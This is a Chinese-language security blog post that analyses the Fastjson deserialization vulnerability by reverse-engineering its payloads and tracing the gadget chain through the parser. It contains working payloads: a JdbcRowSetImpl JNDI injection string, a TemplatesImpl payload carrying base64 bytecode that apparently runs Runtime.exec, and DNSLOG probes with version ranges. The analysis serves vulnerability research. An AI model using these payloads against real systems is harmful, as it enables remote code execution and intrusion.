逆向学习 fastjson 反序列化始末

末鹿安然 提交于 2020-10-03 16:20:40

作者:summersec
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前言

   Fastjson这款国内知名的解析json的组件,笔者在此就不多介绍,网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发,逆向学习分析fastjson反序列化漏洞始末。
ps:漏洞学习环境以代码均在上传Github项目


初窥Payload

   下面是一段最简单Fastjson的版本号反序列化--URLDNS代码,观察发现可以提出一个问题@type作用?

import com.alibaba.fastjson.JSON;
public class urldns {
    public static void main(String[] args) {
        // dnslog平台网站:http://www.dnslog.cn/
        String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
                ":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";
        JSON.parse(payload);
    }
}

@type的作用

   下面是一段实验代码,帮助理解分析@type的由来。

public class User {
    private String name;
    private int age;


    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
     @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

}
package vul.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Demo {
//TODO 修改pom.xml中的fastjson <= 1.2.24
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("summer");
        String str1 = JSONObject.toJSONString(user);
        // 转化的时候加入一个序列化的特征 写入类名
        // feature = 特征
        String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
        // str2输入结果会输出 @type+类名
        // 由此可知@type是用于解析JSON时的用于指定类
        System.out.println(str1);
        System.out.println(str2);
        //如果fastjson解析内容时没有配置,会默认使用缺省配置
        // TODO 查看parse方法 可以设置断点看看不同之处和相同之处
        Object parse1 = JSON.parse(str1);
        Object parse2 = JSON.parse(str2);
        //很明显的结果不一样
        System.out.println("@type: " + parse1.getClass().getName());
        System.out.println("str1's parse1: " + parse1);
        System.out.println("@type: " + parse2.getClass().getName());
        System.out.println("str2's parse2: " + parse2);
    }
}

在这里插入图片描述

   对比分析一下,只要在JSON序列化的方法加入SerializerFeature.WriteClassName特征字段。序列化出来的结果会在开头加一个@type字段,值为进行序列化的类名。再将带有@type字段的序列化数据进行反序列化会得到对应的实例类对象。反序列化可以获取类对象?有Java基础的安全人应该会敏感的这里十之八九存在漏洞。 ps: 下面是一段验证代码

public class Vuldemo {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";
        Object ob = JSON.parse(payload);
        System.out.println("反序列化后类对象:  " + ob.getClass().getName());
        System.out.println("反序列化结果: " + ob);

    }
}

在这里插入图片描述


漏洞分析

RCE's payload

   第一种payload是使用com.sun.rowset.JdbcRowSetImpl类,第二种是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。第二种之前在漫谈Commons-Collections反序列化讨论分析过,这里不再重复着重讨论分析第一种payload。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1090/Exploit","autoCommit":true}
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

再窥Payload

   观察发现这个payload由三部分组成,@typedataSourceNameautoCommint。第一个@type前面已经提及了是获取实例化类,dataSourceNameautoCommit我们看看官方文档。

  String payload =   "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";

   大致意思:使用该方法的名称绑定到JNDI命名服务中的DataSource对象上,应用程序就可以使用该名称进行查找,检索绑定到它的DataSource对象。 在这里插入图片描述   设置AutoCommit后,会自动提交内容。设置这个属性之后,JNDI找到对应资源,对自动提交内容,读者后期可以试试删除这个属性是不会触发漏洞的。 在这里插入图片描述知道上面这些特性后,根据特点构造等价代码 国外介绍JdbcRowSet 使用方法的一个小案例,可以参考一下。

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

漏洞成因分析

   JSON#parse()方法会调用DefaultJSONParser#parse(),在实例化DefaultJSONParser类是会将输入数据使用实例化JSONScanner类传入,并同时传入默认缺省配置features在这里插入图片描述在这里插入图片描述    这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的。 在这里插入图片描述    DefaultJSONParser在实例化时会读取当前字符ch={,所以lexer.token()=12在这里插入图片描述

在这里插入图片描述    跳转12会创建JSONObject类对象,然后再调用 DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法去解析。 在这里插入图片描述    DefaultJSONParser#parseObject前面会做一个简单判断lexer.token(),然后读取字符判断是否ch=='"',TRUE就获取其中的字段的值@type并紧接着判断key == JSON.DEFAULT_TYPE_KEY相等。 在这里插入图片描述在这里插入图片描述在这里插入图片描述    接下去进入反序列化阶段deserializer#deserialze()-->parseRest()-->fieldDeser#setValue-->一系列反射调用-->JdbcRowSetImpl#setAutoCommit()触发漏洞。

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述最后得到Gadget chain如下

/**
 * Gadget chain:
 *      JSON.parse()
 *          DefaultJSONParser.parse()
 *              DefaultJSONParser.parseObject()
 *                  JavaBeanDeserializer.deserialze()
 *                      JavaBeanDeserializer.parseRest()
 *                          FieldDeserializer.setValue()
 *                              Reflect.invoke()
 *                                  JdbcRowSetImpl.setAutoCommit()
 *
 */

在这里插入图片描述


DNSLOG的一个小点

   实战挖掘fastjson漏洞的时候比较常用的方法,探测Fastjson是用dnslog方式,探测到了再用RCE Payload去一个一个打。但是本人在本地环境测试的时候发现了几个不同点,fastjson的版本不同,不同的payload成功概率是不同的。至于为什么是这样子,可以参考一下这篇通过dnslog探测fastjson的几种方法

        // 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
        String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
                ":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
        // 全版本支持 fastjson <= 1.2.72
        String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
        String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";

参考

http://www.b1ue.cn/archives/184.html
http://www.herongyang.com/JDBC/MySQL-JdbcRowSet-DataSource.html
https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html
http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
https://www.freebuf.com/news/232758.html




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